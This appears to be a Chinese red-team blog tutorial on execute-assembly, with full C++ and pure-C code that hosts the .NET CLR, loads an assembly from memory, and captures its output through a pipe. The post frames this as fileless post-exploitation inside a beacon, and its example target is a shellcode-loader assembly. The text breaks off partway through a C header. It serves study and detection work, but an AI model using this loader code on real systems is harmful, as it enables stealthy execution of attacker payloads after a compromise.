Execute-NET-Assembly
2025-12-15 19:10:52 # 武器化

一、前言

在 Cobalt Strike v3.x 到 v4.0 初期,execute-assembly 几乎是神一般的存在。

  1. 它开发效率高:依托于强大的NET框架,攻击者可以方便地开发各种攻击工具。
  2. 无文件攻击:一般通过网络传输net程序,并在内存中执行。
  3. 兼容性:Windows 默认安装 .NET Framework。

正是凭借这些特性,该技术在BOF诞生之前曾一度备受攻击者青睐,并被频繁用于后渗透测试(Post-Exploitation)。然而,随着针对托管程序的监控(如 AMSI 和 ETW)日益严苛,加之 Fork&Run模式的流量与内存特征过于明显,其攻击成功率已大幅下降。尽管目前它正逐渐被BOF 所取代,但这并不妨碍我们去深入探究其背后独特的攻击美学

为了避免出现fork&run,出现了一个anthemtotheego/InlineExecute-Assembly改良的项目,这个项目的优点是在当前进程加载CLR,并执行.NET程序,缺点也很明显:如果.NET程序出现问题,会导致整个beacon进程奔溃。这个问题,是所有beacon内执行操作的通病,虽有缓解措施(增加异常处理),但治标不治本。

还有另一个关键的技术就是如何获取.NET程序的输出。我翻遍了github的大部分项目,找了三种可行的方案,分别是使用匿名管道命名管道MailSlot他们三个的优劣我不就介绍。具体的使用的步骤大致一样,以匿名管道为例:

  1. 创建匿名管道;
  2. 保留原始标准输出和错误的句柄;
  3. 重定向标准输出和错误为管道的写端。
  4. 创建一个线程从匿名管道的读端读取数据。这一步我卡了挺久,最开始我是抄Havoc/payloads/Demon/src/core/Dotnet.c at main · HavocFramework/Havoc的实现,但它并没创建线程这一步导致我不能如愿获取到C# 的执行结果。试了很多种方法,创建只有创建线程成功了,具体原因不知。

一般而言,execute-assembly功能通常由C/C++等非托管程序实现,为了能够在非托管程序执行托管程序,必须使用.NET Framework的ICLRRuntimeHostICLRRuntimeInfoICLRMetaHost这三个COM接口初始化CLR环境获取程序域装载程序集执行程序集这四个核心骤。

接口 作用 关键方法
ICLRMetaHost 发现/枚举已安装的 CLR 版本 GetRuntime
ICLRRuntimeInfo 获取特定版本 CLR 的接口,配置运行时 GetInterface
ICorRuntimeHost (或 ICLRRuntimeHost) 控制 CLR 生命周期、AppDomain StartGetDefaultDomain, QueryInterfaceUnloadDomain

而COM接口本质是内存布局严格约定的虚函数表(vtbl),我们需要COM接口的某些函数去完成上述的四个核心步骤。对于C++来说,COM接口对开发者完全透明,我们不需要事先知道COM接口的实现,只用导入mscorlib库即可进行COM互操作。但是到了C语言,需手动声明接口结构体 + 函数指针,这涉及到COM的本质,我们到C语言实现的时候再详细说明。

二、execute-assembly的标准流程

一个标准的 execute-assembly 步骤如下:

  1. CLRCreateInstance创建 ICLRMetaHost 接口,它管理者系统中所有安装的 .NET 版本。
  2. ICLRMetaHost->GetRuntime 指定版本 v4.0.30319。此时并未启动,只是获取了该版本的配置信息。
  3. ICLRRuntimeInfo->GetInterface 获取 ICorRuntimeHost 接口,它是控制CLR启动、停止的核心接口。
  4. ICorRuntimeHost->Start在当前C/C++进程内部就正式运行了一个.NET虚拟机。
  5. ICorRuntimeHost->GetDefaultDomain 获取当前进程的默认 AppDomain 的 IUnknown 指针,.NET 代码必须运行在应用程序域 (AppDomain) 中。
  6. IUnknown->QueryInterface 利用 COM 标准的 QueryInterface 将通用的 IUnknown 指针转换为具体的 AppDomain 接口指针。有了 AppDomain 指针,才能调用后续的 Load_3 方法。
  7. AppDomain->Load_3 获取 IAssembly 接口,这等同于 C# 中的 Assembly.Load(byte[]),用于加载.NET程序集。
  8. IAssembly->EntryPoint 获取 IMethodInfo 接口,包含了 Main 函数的元数据。
  9. IMethodInfo->Invoke_3 此时控制权移交给 .NET 的 JIT 编译器,代码开始执行。

上面主要介绍了各种接口的函数调用顺序,并没有涉及到其他细枝末节的东西,请阅读源代码了解跟更多细节。

三、C++版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
#define _CRT_SECURE_NO_WARNINGS

#include <Windows.h>
#include <mscoree.h>
#include <MetaHost.h>
#include <strsafe.h>
#include <string>
#include <iostream>
#include <vector>
#include <thread> // 引入多线程支持

// 链接必要的库
#pragma comment(lib, "mscoree.lib")

// 导入 mscorlib.tlb
#import "mscorlib.tlb" raw_interfaces_only, auto_rename high_property_prefixes("_get","_put","_putref") rename("ReportEvent", "InteropServices_ReportEvent")

using namespace mscorlib;

// 全局变量
ICorRuntimeHost* g_Runtime = NULL;
HANDLE g_OrigninalStdOut = INVALID_HANDLE_VALUE;
HANDLE g_OrigninalStdErr = INVALID_HANDLE_VALUE;

// ---------------------------------------------------------
// 线程函数:专门负责从管道中读取数据
// ---------------------------------------------------------
void PipeReaderThread(HANDLE hPipeRead, std::string* outputBuffer)
{
const int BUFSIZE = 4096;
char buffer[BUFSIZE];
DWORD bytesRead;
BOOL bSuccess = FALSE;

// 循环读取,直到管道被关闭(ReadFile 返回 FALSE 或 0字节)
while (true)
{
// 这是一个阻塞调用,直到有数据或管道断开
bSuccess = ReadFile(hPipeRead, buffer, BUFSIZE, &bytesRead, NULL);

if (!bSuccess || bytesRead == 0) break;

outputBuffer->append(buffer, bytesRead);
}
}

// ---------------------------------------------------------
// 加载 CLR 环境
// ---------------------------------------------------------
HRESULT LoadCLR()
{
HRESULT hr;
ICLRMetaHost* pMetaHost = NULL;
ICLRRuntimeInfo* pRuntimeInfo = NULL;
BOOL bLoadable;

// 1. 获取 MetaHost
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&pMetaHost);
if (FAILED(hr)) goto Cleanup;

// 2. 指定加载 .NET v4.0.30319
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&pRuntimeInfo);
if (FAILED(hr)) goto Cleanup;

// 3. 检查是否可加载
hr = pRuntimeInfo->IsLoadable(&bLoadable);
if (FAILED(hr) || !bLoadable) goto Cleanup;

// 4. 获取运行时接口
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (LPVOID*)&g_Runtime);
if (FAILED(hr)) goto Cleanup;

// 5. 启动 CLR
hr = g_Runtime->Start();

Cleanup:
if (pMetaHost) pMetaHost->Release();
if (pRuntimeInfo) pRuntimeInfo->Release();
return hr;
}

// ---------------------------------------------------------
// 在内存中加载并执行 .NET 程序集 (Execute-Assembly 核心)
// ---------------------------------------------------------
HRESULT CallMethod(std::string assembly, std::string args) {
HRESULT hr = S_OK;
SAFEARRAY* psaArguments = NULL;
IUnknownPtr pUnk = NULL;
_AppDomainPtr pAppDomain = NULL;
_AssemblyPtr pAssembly = NULL;
_MethodInfo* pEntryPt = NULL;
SAFEARRAYBOUND bounds[1];
SAFEARRAY* psaBytes = NULL;
LONG rgIndices = 0;
wchar_t* w_ByteStr = NULL;
LPWSTR* szArglist = NULL;
int nArgs = 0;
VARIANT vReturnVal;
VARIANT vEmpty;
VARIANT vtPsa;

SecureZeroMemory(&vReturnVal, sizeof(VARIANT));
SecureZeroMemory(&vEmpty, sizeof(VARIANT));
SecureZeroMemory(&vtPsa, sizeof(VARIANT));
vEmpty.vt = VT_NULL;
vtPsa.vt = (VT_ARRAY | VT_BSTR);

// 1. 获取默认 AppDomain
hr = g_Runtime->GetDefaultDomain(&pUnk);
if (FAILED(hr)) goto Cleanup;

hr = pUnk->QueryInterface(IID_PPV_ARGS(&pAppDomain));
if (FAILED(hr)) goto Cleanup;

// 2. 将 string 二进制转换为 SafeArray
bounds[0].cElements = (ULONG)assembly.size();
bounds[0].lLbound = 0;
psaBytes = SafeArrayCreate(VT_UI1, 1, bounds);
SafeArrayLock(psaBytes);
memcpy(psaBytes->pvData, assembly.data(), assembly.size());
SafeArrayUnlock(psaBytes);

// 3. 加载程序集 (Load_3 = AppDomain.Load(byte[]))
hr = pAppDomain->Load_3(psaBytes, &pAssembly);
SafeArrayDestroy(psaBytes); // 这里的 Destroy 可能会有争议,但在 Load 后通常是安全的,或者可以留到最后
if (FAILED(hr)) goto Cleanup;

// 4. 获取 EntryPoint (Main 函数)
hr = pAssembly->get_EntryPoint(&pEntryPt);
if (FAILED(hr)) goto Cleanup;

// 5. 处理命令行参数
if (args.empty()) {
vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, 0);
}
else {
w_ByteStr = (wchar_t*)malloc((sizeof(wchar_t) * args.size() + 1));
mbstowcs(w_ByteStr, (char*)args.data(), args.size() + 1);
szArglist = CommandLineToArgvW(w_ByteStr, &nArgs);

vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, nArgs);
for (long i = 0; i < nArgs; i++) {
BSTR strParam1 = SysAllocString(szArglist[i]);
SafeArrayPutElement(vtPsa.parray, &i, strParam1);
}
free(w_ByteStr); // 释放临时内存
}

psaArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1);
hr = SafeArrayPutElement(psaArguments, &rgIndices, &vtPsa);

// 6. 执行 Main 函数!
// 此时 StdOut 已经被重定向到管道,所以输出会进入管道
hr = pEntryPt->Invoke_3(vEmpty, psaArguments, &vReturnVal);

Cleanup:
VariantClear(&vReturnVal);
if (NULL != psaArguments) SafeArrayDestroy(psaArguments);
if (pAssembly) pAssembly->Release();
if (pAppDomain) pAppDomain->Release();
if (pUnk) pUnk->Release();

return hr;
}

// ---------------------------------------------------------
// 编排函数:创建管道 -> 启动线程 -> 执行 -> 收集结果
// ---------------------------------------------------------
std::string ExecuteAssemblyWithPipe(std::string& assembly, std::string args)
{
HRESULT hr;
std::string output = "";
HANDLE hPipeRead = NULL;
HANDLE hPipeWrite = NULL;
SECURITY_ATTRIBUTES saAttr;

// 1. 加载 CLR (如果还没加载)
if (g_Runtime == NULL) {
hr = LoadCLR();
if (FAILED(hr)) return "Error: Failed to load CLR\n";
}

// 2. 创建匿名管道
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE; // 关键:允许句柄被继承/使用
saAttr.lpSecurityDescriptor = NULL;

if (!CreatePipe(&hPipeRead, &hPipeWrite, &saAttr, 0)) {
return "Error: CreatePipe failed\n";
}

// 3. 保存原始 StdOut/StdErr
g_OrigninalStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
g_OrigninalStdErr = GetStdHandle(STD_ERROR_HANDLE);

// 4. 重定向 StdOut/StdErr 到管道写入端
if (!SetStdHandle(STD_OUTPUT_HANDLE, hPipeWrite) || !SetStdHandle(STD_ERROR_HANDLE, hPipeWrite)) {
CloseHandle(hPipeRead);
CloseHandle(hPipeWrite);
return "Error: SetStdHandle failed\n";
}

// 5. 启动后台线程读取管道 (防止缓冲区满死锁)
std::thread reader(PipeReaderThread, hPipeRead, &output);

// 6. 执行 .NET 程序 (阻塞直到完成)
CallMethod(assembly, args);

// 7. 恢复原始 StdOut (必须在关闭 Write 句柄前恢复,否则 printf 可能异常)
SetStdHandle(STD_OUTPUT_HANDLE, g_OrigninalStdOut);
SetStdHandle(STD_ERROR_HANDLE, g_OrigninalStdErr);

// 8. 关闭写入端句柄
// 这会向读线程发送 EOF 信号,导致 ReadFile 返回 false,从而结束线程循环
CloseHandle(hPipeWrite);

// 9. 等待读线程结束
if (reader.joinable()) {
reader.join();
}

// 10. 清理读取句柄
CloseHandle(hPipeRead);

return output;
}

// ---------------------------------------------------------
// 主函数
// ---------------------------------------------------------
int main()
{
// 配置:要加载的 .NET 程序路径 (请修改为你实际存在的路径)
const char* targetAssembly = "D:\\代码\\Vs2022\\TestForC#\\DotnetNoVirtualProtectShellcodeLoader\\bin\\x64\\Debug\\DotnetNoVirtualProtectShellcodeLoader.exe";

// 模拟的命令行参数
std::string args = "";

printf("[*] Reading assembly from: %s\n", targetAssembly);

// 1. 从磁盘读取文件到内存
HANDLE hFile = CreateFileA(targetAssembly, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Error: Could not open file. Error Code: %d\n", GetLastError());
return 1;
}

DWORD dwFileSize = GetFileSize(hFile, NULL);
std::vector<char> fileBuffer(dwFileSize);
DWORD lpNumberOfBytesRead = 0;

if (!ReadFile(hFile, fileBuffer.data(), dwFileSize, &lpNumberOfBytesRead, NULL)) {
printf("[-] Error: Could not read file.\n");
CloseHandle(hFile);
return 1;
}
CloseHandle(hFile);

std::string assemblyStr(fileBuffer.begin(), fileBuffer.end());
printf("[+] Assembly read into memory (%d bytes).\n", dwFileSize);

// 2. 执行内存加载
printf("[*] Executing Assembly via CLR Hosting (Anonymous Pipes)...\n\n");
printf("--- CAPTURED OUTPUT START ---\n");

std::string response = ExecuteAssemblyWithPipe(assemblyStr, args);

printf("%s", response.c_str());
printf("\n--- CAPTURED OUTPUT END ---\n");

// 清理 CLR
if (g_Runtime) {
g_Runtime->Release();
g_Runtime = NULL;
}

system("pause"); // 暂停以便查看输出
return 0;
}

执行流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[Main]
|
+-> 读取 EXE 文件到 buffer
|
+-> [ExecuteAssemblyWithPipe]
|
+-> [LoadCLR] (初始化 .NET 环境)
|
+-> CreatePipe (创建 R/W 管道)
|
+-> SetStdHandle (将 StdOut 指向 W 管道)
|
+-> 启动 [PipeReaderThread] (后台不断从 R 管道读数据)
|
+-> [CallMethod]
| |
| +-> SafeArrayCreate (数据包转 COM 格式)
| +-> AppDomain->Load_3 (内存加载 Assembly)
| +-> MethodInfo->Invoke_3 (运行 C# Main 函数)
| |
| +-> C# Console.WriteLine
| | (数据流入管道)
| v
| [PipeReaderThread] 捕获数据
|
+-> (C# 运行结束返回)
|
+-> SetStdHandle (恢复 StdOut)
+-> CloseHandle(W) (通知读线程结束)
+-> reader.join()
|
+-> 返回 output string
|
+-> 打印结果

PixPin_2025-12-11_18-16-02.png

四、纯C版本

在纯C语言环境下,需手动重建C++的COM接口定义,以便在不依赖微软庞大的SDK头文件的情况下,能够调用 .NET的核心功能。

COM 接口本质上是一个函数指针数组(虚函数表),调用某个函数实际上是根据偏移量去数组里找指针。在C语言中,我们需要先定义Vtbl结构体,这个结构体包含了这个COM接口的所有函数声明,然后再定义一个结构体,这个结构体只包含一个Vtbl结构体指针成员,这样一个典型的COM接口的定义就完成了。就比如ICLRMetaHost结构体,它里面的成员只有ICLRMetaHostVtbl虚函数表(函数指针数组)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct _ICLRMetaHostVtbl {
// IUnknown
HRESULT(STDMETHODCALLTYPE* QueryInterface)(ICLRMetaHost* This, REFIID riid, void** ppvObject);
ULONG(STDMETHODCALLTYPE* AddRef)(ICLRMetaHost* This);
ULONG(STDMETHODCALLTYPE* Release)(ICLRMetaHost* This);
// ICLRMetaHost
HRESULT(STDMETHODCALLTYPE* GetRuntime)(ICLRMetaHost* This, LPCWSTR pwzVersion, REFIID riid, void** ppRuntime);
HRESULT(STDMETHODCALLTYPE* GetVersionFromFile)(ICLRMetaHost* This, LPCWSTR pwzFilePath, LPWSTR pwzBuffer, DWORD* pcchBuffer);
HRESULT(STDMETHODCALLTYPE* EnumerateInstalledRuntimes)(ICLRMetaHost* This, void** ppEnumerator);
HRESULT(STDMETHODCALLTYPE* EnumerateLoadedRuntimes)(ICLRMetaHost* This, HANDLE hndProcess, void** ppEnumerator);
HRESULT(STDMETHODCALLTYPE* RequestRuntimeLoadedNotification)(ICLRMetaHost* This, RuntimeLoadedCallbackFnPtr pCallbackFunction);
HRESULT(STDMETHODCALLTYPE* QueryLegacyV2RuntimeBinding)(ICLRMetaHost* This, REFIID riid, void** ppUnk);
HRESULT(STDMETHODCALLTYPE* ExitProcess)(ICLRMetaHost* This, INT32 iExitCode);
} ICLRMetaHostVtbl;

struct _ICLRMetaHost { ICLRMetaHostVtbl* lpVtbl; };

举一个调用相应接口的函数的示例:ICLRMetaHost->lpVtbl->GetRuntime(……)

PixPin_2025-12-12_12-40-42.png

当然有些COM接口中包含几十甚至上百的函数定义,恶意软件只需要用到其中几个特定的函数(比如 Load_3),为了保证内存偏移量正确,作者必须把不需要的函数也列出来,但为了偷懒和省代码,统一用 DUMMY_METHOD 宏来占位,只定义“我需要的”,其他的全部填充掉。

1
#define DUMMY_METHOD(x) HRESULT (STDMETHODCALLTYPE *dummy_##x)(void* This)

PixPin_2025-12-12_12-38-03.png

clr.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
#ifndef DEMON_CLR_H
#define DEMON_CLR_H

#include <windows.h>
#include <oleauto.h> // 为了 SAFEARRAY 和 BSTR

// 定义 BUFFER
typedef struct _BUFFER {
void* Buffer;
unsigned long Length;
} BUFFER, * PBUFFER;

// 定义一个结构体来保存状态
typedef struct {
HANDLE hPipeRead; // 输入:管道读取句柄
char* outputBuffer; // 输出:动态增长的缓冲区
size_t totalBytes; // 输出:当前读取的总字节数
} PipeContext;

// 定义状态码
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif

// GUID 声明 (Extern)
extern const GUID xCLSID_CLRMetaHost;
extern const GUID xIID_ICLRMetaHost;
extern const GUID xIID_ICLRRuntimeInfo;
extern const GUID xCLSID_CorRuntimeHost;
extern const GUID xIID_ICorRuntimeHost;
extern const GUID xIID_AppDomain;

// 前置声明结构体
typedef struct _ICLRMetaHost ICLRMetaHost;
typedef struct _ICLRRuntimeInfo ICLRRuntimeInfo;
typedef struct _ICorRuntimeHost ICorRuntimeHost;
typedef struct _AppDomain IAppDomain;
typedef struct _Assembly IAssembly;
typedef struct _MethodInfo IMethodInfo;
typedef struct _Type IType;

// 指针别名
typedef ICLRMetaHost* PICLRMetaHost;
typedef ICLRRuntimeInfo* PICLRRuntimeInfo;
typedef ICorRuntimeHost* PICorRuntimeHost;
typedef IAppDomain* PAppDomain;
typedef IAssembly* PAssembly;
typedef IMethodInfo* PMethodInfo;

// 函数指针类型定义
typedef HRESULT(__stdcall* CLRCreateInstanceFnPtr)(
const GUID* clsid,
const GUID* riid,
LPVOID* ppInterface);

typedef HRESULT(__stdcall* RuntimeLoadedCallbackFnPtr)(
ICLRRuntimeInfo* pRuntimeInfo,
void* pfnCallbackThreadSet,
void* pfnCallbackThreadUnset);

// =========================================================
// 纯 C 语言 VTable 定义宏
// =========================================================
// 在 C 语言中,第一个参数必须是 This 指针 (void* 或具体类型*)
#define DUMMY_METHOD(x) HRESULT (STDMETHODCALLTYPE *dummy_##x)(void* This)

// =========================================================
// 接口定义 (VTable + Struct)
// =========================================================

// 1. ICLRMetaHost
typedef struct _ICLRMetaHostVtbl {
// IUnknown
HRESULT(STDMETHODCALLTYPE* QueryInterface)(ICLRMetaHost* This, REFIID riid, void** ppvObject);
ULONG(STDMETHODCALLTYPE* AddRef)(ICLRMetaHost* This);
ULONG(STDMETHODCALLTYPE* Release)(ICLRMetaHost* This);
// ICLRMetaHost
HRESULT(STDMETHODCALLTYPE* GetRuntime)(ICLRMetaHost* This, LPCWSTR pwzVersion, REFIID riid, void** ppRuntime);
HRESULT(STDMETHODCALLTYPE* GetVersionFromFile)(ICLRMetaHost* This, LPCWSTR pwzFilePath, LPWSTR pwzBuffer, DWORD* pcchBuffer);
HRESULT(STDMETHODCALLTYPE* EnumerateInstalledRuntimes)(ICLRMetaHost* This, void** ppEnumerator);
HRESULT(STDMETHODCALLTYPE* EnumerateLoadedRuntimes)(ICLRMetaHost* This, HANDLE hndProcess, void** ppEnumerator);
HRESULT(STDMETHODCALLTYPE* RequestRuntimeLoadedNotification)(ICLRMetaHost* This, RuntimeLoadedCallbackFnPtr pCallbackFunction);
HRESULT(STDMETHODCALLTYPE* QueryLegacyV2RuntimeBinding)(ICLRMetaHost* This, REFIID riid, void** ppUnk);
HRESULT(STDMETHODCALLTYPE* ExitProcess)(ICLRMetaHost* This, INT32 iExitCode);
} ICLRMetaHostVtbl;

struct _ICLRMetaHost { ICLRMetaHostVtbl* lpVtbl; };

// 2. ICLRRuntimeInfo
typedef struct _ICLRRuntimeInfoVtbl {
// IUnknown
HRESULT(STDMETHODCALLTYPE* QueryInterface)(ICLRRuntimeInfo* This, REFIID riid, void** ppvObject);
ULONG(STDMETHODCALLTYPE* AddRef)(ICLRRuntimeInfo* This);
ULONG(STDMETHODCALLTYPE* Release)(ICLRRuntimeInfo* This);
// ICLRRuntimeInfo
HRESULT(STDMETHODCALLTYPE* GetVersionString)(ICLRRuntimeInfo* This, LPWSTR pwzBuffer, DWORD* pcchBuffer);
HRESULT(STDMETHODCALLTYPE* GetRuntimeDirectory)(ICLRRuntimeInfo* This, LPWSTR pwzBuffer, DWORD* pcchBuffer);
HRESULT(STDMETHODCALLTYPE* IsLoaded)(ICLRRuntimeInfo* This, HANDLE hndProcess, BOOL* pbLoaded);
HRESULT(STDMETHODCALLTYPE* LoadErrorString)(ICLRRuntimeInfo* This, UINT iResourceID, LPWSTR pwzBuffer, DWORD* pcchBuffer, LONG iLocaleID);
HRESULT(STDMETHODCALLTYPE* LoadLibrary)(ICLRRuntimeInfo* This, LPCWSTR pwzDllName, HMODULE* phndModule);
HRESULT(STDMETHODCALLTYPE* GetProcAddress)(ICLRRuntimeInfo* This, LPCSTR pszProcName, void** ppProc);
HRESULT(STDMETHODCALLTYPE* GetInterface)(ICLRRuntimeInfo* This, const GUID* rclsid, REFIID riid, void** ppUnk);
HRESULT(STDMETHODCALLTYPE* IsLoadable)(ICLRRuntimeInfo* This, BOOL* pbLoadable);
HRESULT(STDMETHODCALLTYPE* SetDefaultStartupFlags)(ICLRRuntimeInfo* This, DWORD dwStartupFlags, LPCWSTR pwzHostConfigFile);
HRESULT(STDMETHODCALLTYPE* GetDefaultStartupFlags)(ICLRRuntimeInfo* This, DWORD* pdwStartupFlags, LPWSTR pwzHostConfigFile, DWORD* pcchHostConfigFile);
HRESULT(STDMETHODCALLTYPE* BindAsLegacyV2Runtime)(ICLRRuntimeInfo* This);
HRESULT(STDMETHODCALLTYPE* IsStarted)(ICLRRuntimeInfo* This, BOOL* pbStarted, DWORD* pdwStartupFlags);
} ICLRRuntimeInfoVtbl;

struct _ICLRRuntimeInfo { ICLRRuntimeInfoVtbl* lpVtbl; };

// 3. ICorRuntimeHost
typedef struct _ICorRuntimeHostVtbl {
// IUnknown
HRESULT(STDMETHODCALLTYPE* QueryInterface)(ICorRuntimeHost* This, REFIID riid, void** ppvObject);
ULONG(STDMETHODCALLTYPE* AddRef)(ICorRuntimeHost* This);
ULONG(STDMETHODCALLTYPE* Release)(ICorRuntimeHost* This);
// ICorRuntimeHost
DUMMY_METHOD(CreateLogicalThreadState);
DUMMY_METHOD(DeleteLogicalThreadState);
DUMMY_METHOD(SwitchInLogicalThreadState);
DUMMY_METHOD(SwitchOutLogicalThreadState);
DUMMY_METHOD(LocksHeldByLogicalThread);
DUMMY_METHOD(MapFile);
DUMMY_METHOD(GetConfiguration);
HRESULT(STDMETHODCALLTYPE* Start)(ICorRuntimeHost* This);
HRESULT(STDMETHODCALLTYPE* Stop)(ICorRuntimeHost* This);
HRESULT(STDMETHODCALLTYPE* CreateDomain)(ICorRuntimeHost* This, LPCWSTR pwzFriendlyName, IUnknown* pIdentityArray, IUnknown** pAppDomain);
HRESULT(STDMETHODCALLTYPE* GetDefaultDomain)(ICorRuntimeHost* This, IUnknown** pAppDomain);
DUMMY_METHOD(EnumDomains);
DUMMY_METHOD(NextDomain);
DUMMY_METHOD(CloseEnum);
DUMMY_METHOD(CreateDomainEx);
DUMMY_METHOD(CreateDomainSetup);
DUMMY_METHOD(CreateEvidence);
HRESULT(STDMETHODCALLTYPE* UnloadDomain)(ICorRuntimeHost* This, IUnknown* pAppDomain);
DUMMY_METHOD(CurrentDomain);
} ICorRuntimeHostVtbl;

struct _ICorRuntimeHost { ICorRuntimeHostVtbl* lpVtbl; };

// 4. IAppDomain
typedef struct _AppDomainVtbl {
// IUnknown
HRESULT(STDMETHODCALLTYPE* QueryInterface)(IAppDomain* This, REFIID riid, void** ppvObject);
ULONG(STDMETHODCALLTYPE* AddRef)(IAppDomain* This);
ULONG(STDMETHODCALLTYPE* Release)(IAppDomain* This);
// IDispatch
DUMMY_METHOD(GetTypeInfoCount);
DUMMY_METHOD(GetTypeInfo);
DUMMY_METHOD(GetIDsOfNames);
DUMMY_METHOD(Invoke);
// _AppDomain
DUMMY_METHOD(ToString);
DUMMY_METHOD(Equals);
DUMMY_METHOD(GetHashCode);
DUMMY_METHOD(GetType);
DUMMY_METHOD(InitializeLifetimeService);
DUMMY_METHOD(GetLifetimeService);
DUMMY_METHOD(Evidence);
DUMMY_METHOD(add_DomainUnload);
DUMMY_METHOD(remove_DomainUnload);
DUMMY_METHOD(add_AssemblyLoad);
DUMMY_METHOD(remove_AssemblyLoad);
DUMMY_METHOD(add_ProcessExit);
DUMMY_METHOD(remove_ProcessExit);
DUMMY_METHOD(add_TypeResolve);
DUMMY_METHOD(remove_TypeResolve);
DUMMY_METHOD(add_ResourceResolve);
DUMMY_METHOD(remove_ResourceResolve);
DUMMY_METHOD(add_AssemblyResolve);
DUMMY_METHOD(remove_AssemblyResolve);
DUMMY_METHOD(add_UnhandledException);
DUMMY_METHOD(remove_UnhandledException);
DUMMY_METHOD(DefineDynamicAssembly);
DUMMY_METHOD(DefineDynamicAssembly_2);
DUMMY_METHOD(DefineDynamicAssembly_3);
DUMMY_METHOD(DefineDynamicAssembly_4);
DUMMY_METHOD(DefineDynamicAssembly_5);
DUMMY_METHOD(DefineDynamicAssembly_6);
DUMMY_METHOD(DefineDynamicAssembly_7);
DUMMY_METHOD(DefineDynamicAssembly_8);
DUMMY_METHOD(DefineDynamicAssembly_9);
DUMMY_METHOD(CreateInstance);
DUMMY_METHOD(CreateInstanceFrom);
DUMMY_METHOD(CreateInstance_2);
DUMMY_METHOD(CreateInstanceFrom_2);
DUMMY_METHOD(CreateInstance_3);
DUMMY_METHOD(CreateInstanceFrom_3);
DUMMY_METHOD(Load);
DUMMY_METHOD(Load_2);
// 关键: Load_3
HRESULT(STDMETHODCALLTYPE* Load_3)(IAppDomain* This, SAFEARRAY* rawAssembly, IAssembly** pRetVal);
// ... 后面忽略,反正用不到,只要 Load_3 位置对就行
} AppDomainVtbl;

struct _AppDomain { AppDomainVtbl* lpVtbl; };

// 5. IAssembly
typedef struct _AssemblyVtbl {
// IUnknown
HRESULT(STDMETHODCALLTYPE* QueryInterface)(IAssembly* This, REFIID riid, void** ppvObject);
ULONG(STDMETHODCALLTYPE* AddRef)(IAssembly* This);
ULONG(STDMETHODCALLTYPE* Release)(IAssembly* This);
// IDispatch
DUMMY_METHOD(GetTypeInfoCount);
DUMMY_METHOD(GetTypeInfo);
DUMMY_METHOD(GetIDsOfNames);
DUMMY_METHOD(Invoke);
// _Assembly
DUMMY_METHOD(ToString);
DUMMY_METHOD(Equals);
DUMMY_METHOD(GetHashCode);
DUMMY_METHOD(GetType);
DUMMY_METHOD(CodeBase);
DUMMY_METHOD(EscapedCodeBase);
DUMMY_METHOD(GetName);
DUMMY_METHOD(GetName_2);
DUMMY_METHOD(FullName);
// 关键: EntryPoint
HRESULT(STDMETHODCALLTYPE* EntryPoint)(IAssembly* This, IMethodInfo** pRetVal);
} AssemblyVtbl;

struct _Assembly { AssemblyVtbl* lpVtbl; };

// 6. IMethodInfo
typedef struct _MethodInfoVtbl {
// IUnknown
HRESULT(STDMETHODCALLTYPE* QueryInterface)(IMethodInfo* This, REFIID riid, void** ppvObject);
ULONG(STDMETHODCALLTYPE* AddRef)(IMethodInfo* This);
ULONG(STDMETHODCALLTYPE* Release)(IMethodInfo* This);
// IDispatch
DUMMY_METHOD(GetTypeInfoCount);
DUMMY_METHOD(GetTypeInfo);
DUMMY_METHOD(GetIDsOfNames);
